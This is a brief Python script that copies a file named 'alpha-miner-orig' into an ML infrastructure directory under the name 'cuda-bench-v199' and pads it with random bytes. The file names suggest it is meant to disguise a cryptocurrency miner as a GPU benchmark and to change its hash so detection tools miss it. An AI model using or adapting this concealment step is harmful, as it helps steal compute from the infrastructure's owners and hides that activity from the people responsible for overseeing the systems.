import os, sys
src = '/opt/ml-infra/alpha-miner-orig'
dst = '/opt/ml-infra/cuda-bench-v199'
with open(src, 'rb') as f:
    data = f.read()
padding = os.urandom(2048*1024) + b'\x00'*512 + os.urandom(256)
with open(dst, 'wb') as f:
    f.write(data)
    f.write(padding)
print(f'Original: {len(data)} bytes')
print(f'Modified: {len(data)+len(padding)} bytes')